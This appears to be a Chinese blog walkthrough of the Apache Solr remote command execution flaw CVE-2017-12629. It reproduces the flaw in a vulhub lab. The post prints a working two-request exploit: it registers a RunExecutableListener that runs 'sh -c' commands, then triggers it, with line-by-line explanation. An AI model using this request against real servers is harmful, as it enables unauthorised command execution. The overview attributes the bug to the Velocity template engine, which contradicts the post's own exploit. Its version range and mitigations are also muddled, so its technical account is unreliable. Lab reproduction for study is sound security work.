Apache Solr 远程命令执行漏洞(CVE-2017-12629)

Apache Solr是什么?

Apache Solr是一个开放源代码的企业级搜索服务器,由ApacheLucene项目开发。它提供了灵活、可扩展和高性能的全文搜索功能,可以用于网站和企业搜索应用程序。Solr支持各种查询类型、结果排序和结果分页,还提供了实时搜索、自动完成和自动完形补全等功能。Solr还支持使用Velocity模板引擎来自定义响应文档。

1. 漏洞概述

Apache Solr 是一个开放源代码的搜索服务器,用于网站和企业搜索应用程序。它主要用于全文搜索,用于存储索引和查询分析。2017年11月,远程命令执行漏洞(CVE-2017-12629)被发现影响Apache Solr软件。该漏洞是由于Solr的Velocity模板引擎中的远程代码执行(RCE)漏洞引起的。

2. 漏洞细节 

Solr的Velocity模板引擎中的一个远程代码执行漏洞允许攻击者通过在Solr配置文件中提供一个恶意的Velocity模板来执行任意命令。Solr在加载恶意模板时未正确验证输入,导致攻击者可以利用该漏洞在Solr服务器上执行任意命令。

3. 影响版本

该漏洞影响Solr 5.5.5及以下版本,包括Solr 6.6.2。

4. 解决方案

为解决该漏洞,需要更新到最新版本的Solr软件,Solr 5.x的最新版本为5.5.6,Solr 6.x的最新版本为6.6.3。此外,可以限制只允许从特定IP地址访问Solr管理员界面以增加安全性。

5. 预防措施

及时更新Solr软件到最新版本。

限制只允许从特定IP地址访问Solr管理员界面。

不要使用Solr的Velocity模板引擎时使用eval函数。

配置Solr的Velocity模板引擎时使用safeMode=true参数

漏洞复现

本次复现环境:vulhub\solr\CVE-2017-12629-RCE

启动镜像:docker compose up -d

命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

使用BurpSuite抓取数据包

 

修改数据包如下:

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

数据包解析

POST /solr/demo/config:这是请求的URL,表示要向Solr的demo配置中发送更新请求。

HTTP/1.1:这是请求的HTTP版本。

Host: your-ip:这是请求头中的Host字段,表示请求的主机地址是your-ip。

Accept: /:这是请求头中的Accept字段,表示客户端可以接受任何类型的内容。

Accept-Language: en:这是请求头中的Accept-Language字段,表示客户端接受英文内容。

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0):这是请求头中的User-Agent字段,表示客户端的用户代理是Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)。

Connection: close:这是请求头中的Connection字段,表示请求完成后关闭连接。

Content-Length: 158:这是请求头中的Content-Length字段,表示请求内容的长度是158字节。

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}:这是请求的内容,是一个JSON对象,包含一个元素。该元素是添加一个监听器的配置信息,具体包括以下字段:

event:表示监听的事件类型是postCommit。

name:表示监听器的名称是newlistener。

class:表示监听器的类名是solr.RunExecutableListener。

exe:表示执行的命令是sh。

dir:表示执行命令的目录是/bin/。

args:表示命令的参数是"-c"和"touch /tmp/success"。

总结:这个数据包是一个向Solr的demo配置中添加一个监听器的POST请求,监听器会在提交完成后执行命令"sh -c touch /tmp/success"。

在进行下一步触发刚才添加的listener:

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

 

数据包解析

URL: "/solr/demo/update",表示请求的目标是Solr服务器中的demo核心的update接口,用于更新文档。

HTTP版本: HTTP/1.1,表示使用的HTTP协议版本为1.1。

Host: "your-ip",表示请求的主机地址为"your-ip"。

Accept: "/",表示客户端可以接受任何类型的响应内容。

Accept-Language: "en",表示客户端首选英文语言的响应内容。

User-Agent: "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",表示客户端的用户代理字符串为"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",用于标识客户端的身份和能力。

Connection: "close",表示请求完成后关闭连接。

Content-Type: "application/json",表示请求的内容类型为JSON格式。

Content-Length: "15",表示请求内容的长度为15个字节。

请求内容: "[{"id":"test"}]",表示要更新的文档是一个JSON数组,其中只包含一个文档,该文档的ID为"test"。

执行`docker-compose exec solr bash`进入容器,可见`/tmp/success`已成功创建:

 

法律声明

声明:

请注意,本文档包含有关已知漏洞的描述和复现方法。这些信息仅用于教育和研究目的,不得用于任何未经授权的活动。

本声明如下:

    本人对使用本文档中的信息所产生的任何后果概不负责。任何人使用本文档中的信息应自行承担所有风险。

    本文档中的信息不得用于未经授权的任何活动,包括但不限于未经授权的攻击行为。任何使用本文档中的信息进行未经授权的活动将违反法律,并可能导致法律后果。

    本文档中的信息仅为教育和研究目的而提供,并且可能包含机密和保密信息。阅读和使用本文档的信息应遵守适用的法律和法规。

    请遵守道德原则并报告您发现的任何漏洞给相关方,以促进软件和系统的安全。

    请注意,本文档中的信息可能已过时,因为软件和系统可能已经修复了相关漏洞。

特此声明。
 

 

 

  • 20
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值